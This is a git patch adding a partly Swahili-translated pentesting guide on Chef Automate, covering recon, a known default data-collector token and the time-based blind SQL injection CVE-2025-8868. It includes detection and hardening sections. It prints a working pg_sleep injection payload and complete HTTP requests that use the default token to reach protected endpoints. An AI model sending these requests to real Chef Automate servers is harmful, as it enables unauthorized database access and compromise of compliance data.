From cfff9871ad3896b6b533f20541720b4af99c2e23 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 19:23:14 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/chef-automate-security/chef-automate-e --- .../chef-automate-security/README.md | 18 +++ .../chef-automate-enumeration-and-attacks.md | 142 ++++++++++++++++++ .../gcp-post-exploitation/README.md | 2 - 3 files changed, 160 insertions(+), 2 deletions(-) create mode 100644 src/pentesting-ci-cd/chef-automate-security/README.md create mode 100644 src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md diff --git a/src/pentesting-ci-cd/chef-automate-security/README.md b/src/pentesting-ci-cd/chef-automate-security/README.md new file mode 100644 index 000000000..5f306f6ed --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/README.md @@ -0,0 +1,18 @@ +# Chef Automate Usalama + +{{#include ../../banners/hacktricks-training.md}} + +## Chef Automate ni nini + +Chef Automate ni jukwaa la otomatiki ya miundombinu, uzingatiaji, na utoaji wa programu. Inaonyesha UI ya wavuti (mara nyingi Angular) inayozungumza na huduma za backend za gRPC kupitia gRPC-Gateway, ikitoa REST-like endpoints chini ya paths kama /api/v0/. + +- Vipengele vya kawaida vya backend: gRPC services, PostgreSQL (mara nyingi inaonekana kupitia pq: error prefixes), data-collector ingest service +- Mekanizimu za uthibitishaji: token za mtumiaji/API na header ya token ya data collector x-data-collector-token + +## Enumeration & Attacks + +{{#ref}} +chef-automate-enumeration-and-attacks.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md new file mode 100644 index 000000000..bb6780aad --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md @@ -0,0 +1,142 @@ +# Chef Automate Enumeration & Attacks + +{{#include ../../banners/hacktricks-training.md}} + +## Overview + +Ukurasa huu unakusanya mbinu za vitendo za ku-enumerate na kushambulia instances za Chef Automate, kwa msisitizo kwenye: +- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses +- Abusing the x-data-collector-token authentication header when defaults are present +- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search + +> Kumbuka: Majibu ya backend ambayo yanajumuisha header grpc-metadata-content-type: application/grpc kwa kawaida yanaonyesha gRPC-Gateway inayounganisha simu za REST kwenda services za gRPC. + +## Recon: Architecture and Fingerprints + +- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...) +- API transport: REST to gRPC via gRPC-Gateway +- Responses may include grpc-metadata-content-type: application/grpc +- Database/driver fingerprints: +- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver +- Interesting Compliance endpoints (auth required): +- POST /api/v0/compliance/profiles/search +- POST /api/v0/compliance/scanner/jobs/search + +## Auth: Data Collector Token (x-data-collector-token) + +Chef Automate exposes a data collector that authenticates requests via a dedicated header: + +- Header: x-data-collector-token +- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild: +- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +Ikiwa ipo, token hii inaweza kutumika kupiga endpoints za Compliance API ambazo vinginevyo zinahitaji auth. Daima jaribu ku-rotate/disable defaults wakati wa hardening. + +## API Schema Inference via Error-Driven Discovery + +gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model. + +For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with: + +- type: string (filter field identifier) +- values: array of strings + +Example request shape: +```json +{ +"filters": [ +{ "type": "name", "values": ["test"] } +] +} +``` +JSON isiyo sahihi au aina za fields zisizofaa kawaida husababisha majibu ya 4xx/5xx yenye vidokezo, na headers zinaonyesha tabia ya gRPC-Gateway. Tumia haya kupanga fields na kutambua injection surfaces. + +## API ya Compliance SQL Injection (CVE-2025-8868) + +- Endpoint iliyoathirika: POST /api/v0/compliance/profiles/search +- Injection point: filters[].type +- Aina ya udhaifu: time-based blind SQL injection in PostgreSQL +- Sababu ya msingi: Ukosefu wa parameterization/whitelisting sahihi wakati wa kuingiza field ya type ndani ya fragment ya dynamic SQL (labda kutumika kujenga identifiers/WHERE clauses). Maadili yaliyoundwa katika type yanatekelezwa na PostgreSQL. + +Working time-based payload: +```json +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Vidokezo vya mbinu: +- Funga string ya asili kwa alama ya nukta moja (') +- Unganisha subquery ambayo inaita pg_sleep(N) +- Rudi kwenye muktadha wa string kwa kutumia || ili SQL ya mwisho ibaki kuwa syntactically valid bila kujali wapi type imewekwa + +### Uthibitisho kupitia utofauti wa latency + +Tuma paired requests na linganisha response times ili kuthibitisha server-side execution: + +- N = 1 sekunde +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]} +``` +- N = 5 sekunde +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Observed behavior: +- Muda wa majibu huongezeka kwa pg_sleep(N) +- Majibu ya HTTP 500 yanaweza kujumuisha maelezo ya pq: wakati wa kupima, yakithibitisha njia za utekelezaji wa SQL + +> Vidokezo: Tumia validator wa muda (mfano, majaribio mengi kwa kulinganisha kwa takwimu) ili kupunguza kelele na matokeo chanya za uwongo. + +### Athari + +Watumiaji walioidhinishwa—au wahusika wasioidhinishwa wakitumia x-data-collector-token ya default—wanaweza kutekeleza SQL yoyote ndani ya muktadha wa PostgreSQL wa Chef Automate, wakihatarisha usiri na uadilifu wa compliance profiles, usanidi, na telemetry. + +### Toleo zilizoathirika / Rekebisho + +- CVE: CVE-2025-8868 +- Mwongozo wa kusasisha: Chef Automate 4.13.295 au baadaye (Linux x86) kulingana na taarifa za muuzaji + +## Utambuzi na Forensiki + +- API layer: +- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep +- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows +- Database layer (PostgreSQL): +- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver) +- Authentication: +- Rekodi na toa tahadhari kuhusu matumizi ya x-data-collector-token, hasa thamani za default zinazojulikana, katika njia za API + +## Kupunguza Hatari na Kuimarisha + +- Mara ya haraka: +- Zungusha/zimia token za default za data collector +- Zuia ingress kwa endpoints za data collector; lazima token zenye nguvu na za kipekee +- Kiwango cha msimbo: +- Parameterize queries; kamwe usichanganye sehemu za SQL kwa string-concatenation +- Weka whitelist kali ya thamani za type zinazoruhusiwa kwenye server (enum) +- Epuka kujenga SQL kwa njia ya dynamic kwa identifiers/clauses; ikiwa tabia ya dynamic inahitajika, tumia kunukuu salama kwa identifier na whitelists wazi + +## Orodha ya Ukaguzi ya Kupima Kivitendo + +- Angalia kama x-data-collector-token inakubaliwa na kama default inayojulikana inafanya kazi +- Panga ramani ya schema ya Compliance API kwa kusababisha makosa ya uthibitishaji na kusoma ujumbe wa kosa/headers +- Jaribu kwa SQLi kwenye fields zisizo wazi “identifier-like” (mfano, filters[].type), siyo tu arrays za values au fields za maandishi ya ngazi ya juu +- Tumia mbinu za muda (time-based) kwa concatenation ili SQL ibaki sarufi sahihi katika muktadha tofauti + +## Marejeo + +- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate) +- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/) +- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868) +- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway) +- [pq PostgreSQL driver for Go](https://github.com/lib/pq) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index f056330cf..b16f7d106 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,5 +1,3 @@ # GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} - -{{#include ../../../banners/hacktricks-training.md}}